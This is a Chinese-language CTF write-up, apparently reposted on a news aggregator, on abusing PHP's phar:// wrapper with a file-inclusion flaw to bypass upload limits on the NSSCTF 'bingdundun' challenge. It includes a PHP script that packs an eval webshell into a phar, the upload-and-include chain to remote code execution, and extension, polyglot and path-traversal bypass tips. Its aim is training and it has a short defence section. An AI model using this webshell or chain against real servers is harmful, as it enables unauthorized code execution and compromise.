当前位置: 首页 > news >正文

CTF实战:手把手教你用phar伪协议绕过NSS靶场文件上传限制

CTF实战:手把手教你用phar伪协议绕过NSS靶场文件上传限制

在网络安全竞赛和渗透测试中,文件上传漏洞一直是高频考点。今天我们将深入探讨如何利用PHP的phar伪协议,绕过NSSCTF平台"bingdundun"题目的文件上传限制,实现远程代码执行(RCE)。不同于简单的Writeup,本教程将从原理到实践,带你完整走通整个攻击链。

1. 环境分析与漏洞定位

首先访问题目链接,我们会看到一个文件上传界面,提示"只能上传图片或者压缩包"。这种限制在CTF和实际渗透中非常常见,通常通过检查文件扩展名或MIME类型来实现。

关键发现点

  • URL中存在GET参数bingdundun=index
  • 测试发现参数值会被自动追加.php后缀
  • 上传功能仅允许图片(.jpg,.png等)或压缩包(.zip,.rar等)

通过简单测试,我们可以推测后台可能存在文件包含漏洞。当传入?bingdundun=filename时,服务器会尝试包含filename.php文件。这为我们后续利用phar伪协议提供了可能。

注意:在实际测试中,建议先尝试上传正常图片,观察服务器返回的存储路径和文件名处理方式,这对后续攻击很有帮助。

2. phar伪协议核心原理

phar(PHP Archive)是PHP的一种打包格式,类似于Java的JAR。从PHP 5.3开始默认支持.phar文件操作。phar伪协议最强大的特性在于它能解析多种压缩格式,而不仅限于.phar后缀。

phar文件结构解析

  1. Stub:文件头,必须包含__HALT_COMPILER();语句
  2. Manifest:描述压缩内容,包含文件元数据(可序列化)
  3. File Contents:实际压缩的文件内容
  4. Signature(可选):文件签名

与其他压缩协议(zip://, bzip2://等)相比,phar://有以下优势:

  • 支持更多压缩格式
  • 不严格依赖文件扩展名
  • 可以触发反序列化操作(通过metadata)

3. 构造恶意phar文件

虽然题目允许上传.zip文件,但我们将演示更通用的phar文件构造方法。以下是创建恶意phar文件的PHP脚本:

<?php $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); // 添加包含恶意代码的文件 $phar->addFromString('shell.php', '<?php eval($_GET["cmd"]); ?>'); // 可以添加metadata用于反序列化攻击 // $phar->setMetadata(['key' => 'value']); $phar->stopBuffering(); ?>

执行此脚本后,会生成exploit.phar文件。我们可以直接上传它,或者重命名为.zip扩展名以绕过上传限制。

关键技巧

  • 即使重命名为.jpg,只要内容符合phar格式,仍可被解析
  • 最小phar文件只需包含stub和至少一个文件
  • 可以通过php -d phar.readonly=0 script.php禁用只读模式

4. 完整攻击链实现

现在我们将各个步骤串联起来,实现完整的攻击流程:

  1. 上传阶段

    • 将生成的phar文件重命名为exploit.zip
    • 上传到服务器,记下返回的存储路径,如/uploads/exploit.zip
  2. 文件包含触发

    • 构造URL:?bingdundun=phar://uploads/exploit.zip/shell
    • 服务器会解析为:phar://uploads/exploit.zip/shell.php
    • 由于phar协议会自动解压并访问内部文件,我们的shell.php将被执行
  3. RCE实现

    • 访问包含后的URL,附加命令参数:&cmd=system('ls');
    • 服务器将执行我们注入的PHP代码

常见问题排查

  • 如果返回空白,可能是phar文件构造有问题,检查stub格式
  • 如果报错"not a valid phar archive",尝试重新生成或使用zip格式
  • 确保内部文件路径与包含时指定的路径一致

5. 防御措施与进阶思考

了解攻击手段后,我们更应该思考如何防御此类漏洞。以下是几种有效的防护方案:

防御措施实现方式有效性
文件内容检查使用getimagesize()验证图片真实性
重命名上传文件生成随机文件名,避免目录遍历
禁用危险协议在php.ini中限制phar://等协议
权限隔离上传目录禁止执行PHP

在更复杂的场景中,phar协议还可以与反序列化漏洞结合,通过精心构造的metadata实现更深入的攻击。这要求我们不仅要关注文件上传本身,还要注意整个应用的处理流程。

6. 其他压缩协议对比

除了phar://,PHP还支持多种压缩流协议,它们在CTF中各有应用场景:

协议对比表

协议所需扩展支持格式自动解压反序列化风险
phar://内置phar, zip
zip://zipzip
bzip2://bz2bz2
zlib://zlibgz

选择协议时,zip://通常是最兼容的方案,而phar://功能最强大但风险也最高。在实际渗透测试中,可以依次尝试这些协议,寻找可用的攻击面。

7. 实战技巧与经验分享

在真实CTF比赛和渗透测试中,有几点经验值得分享:

  1. 文件扩展名绕过

    • 尝试.phar.zip.jpg等多种扩展名
    • 测试大小写变种(.pHp.PhAr)
    • 使用双扩展名(exploit.jpg.php)
  2. 内容混淆技术

    • 在phar文件中添加真实的图片数据
    • 使用polyglot技术构造既是图片又是phar的文件
    • 通过注释添加垃圾数据干扰检测
  3. 路径遍历技巧

    • 尝试绝对路径包含:phar:///var/www/uploads/exploit.zip
    • 测试相对路径:phar://../uploads/exploit.zip
    • 结合目录穿越实现更灵活的包含

遇到上传限制时,不要轻易放弃。多角度思考、全面测试每个可能的入口点,往往能在看似严密的防御中找到突破口。

http://www.cnnetsun.cn/news/2553590.html

相关文章:

  • skill-sample-nodejs-fact部署指南:AWS Lambda vs Alexa托管服务终极对比
  • Forge中的多语言支持:实现跨语言LLM工具调用的终极指南 [特殊字符]
  • 输入题目,百考通AI自动生成结构完整、逻辑严谨的任务书
  • 百考通AI:专科毕业论文的智能通关密钥,彻底解决各环节的创作难题
  • 当视频文件戛然而止:用Untrunc解码数字记忆的修复密码
  • 我的Logseq移动办公流水线:安卓手机Termux搭配快捷指令,5分钟完成笔记收集与同步
  • OBS多平台推流终极指南:一键同步直播到多个平台的完整教程
  • 用百考通,写出一份有底气、能落地的任务书 ✍️
  • 别再只搭环境了!用LangChain+ChromaDB在Mac上快速构建你的第一个私有知识库问答机器人
  • 利用AI工具生成画图板工具
  • 3分钟快速掌握:macOS微信防撤回插件WeChatIntercept完全指南
  • 基于MLP误差预测的自适应多尺度模拟耦合技术
  • FeHelper:一站式前端开发工具箱的完整指南
  • 推理服务为什么一上批量采样就开始输出不可复现:从 RNG State 到 Per-Request Stream 的工程实战
  • 源代码论文分享|基于Java的医院急诊系统!
  • MAPED技术:电子衍射材料分析新突破
  • 5分钟学会OpenSpeedy:免费开源游戏加速工具终极指南
  • 多模态融合在死因推断中的应用:特征级与决策级融合策略对比
  • SketchUp STL插件终极指南:免费实现3D模型与打印的无缝转换
  • 一网打尽容器适配器——栈、队列和优先级队列
  • ADAPT:基于Transformer的无图机器学习力场,突破材料缺陷模拟瓶颈
  • 保姆级避坑指南:在Ubuntu 20.04上搞定VINS-Fusion环境(含手机摄像头数据适配)
  • 告别虚拟机卡顿!手把手教你用Ventoy在Windows实体机上无损安装openKylin双系统
  • CocosCreator 3.6 2D碰撞监听保姆级教程:从BoxCollider2D配置到实战回调函数
  • 彻底解决TranslucentTB启动失败:Microsoft.UI.Xaml.2.8依赖修复手把手指南
  • Unity URP室内灯光保姆级教程:从比例尺到后处理,手把手教你打造真实办公室场景
  • 别再只用Unity自带柏林噪声了!手把手教你调出3种不同风格的游戏地形(附完整C#代码)
  • OBS多平台直播终极指南:obs-multi-rtmp插件快速上手教程
  • 如何在Windows中构建虚拟游戏控制器:ViGEmBus驱动开发终极指南
  • ARM SME指令集与UMLAL指令深度解析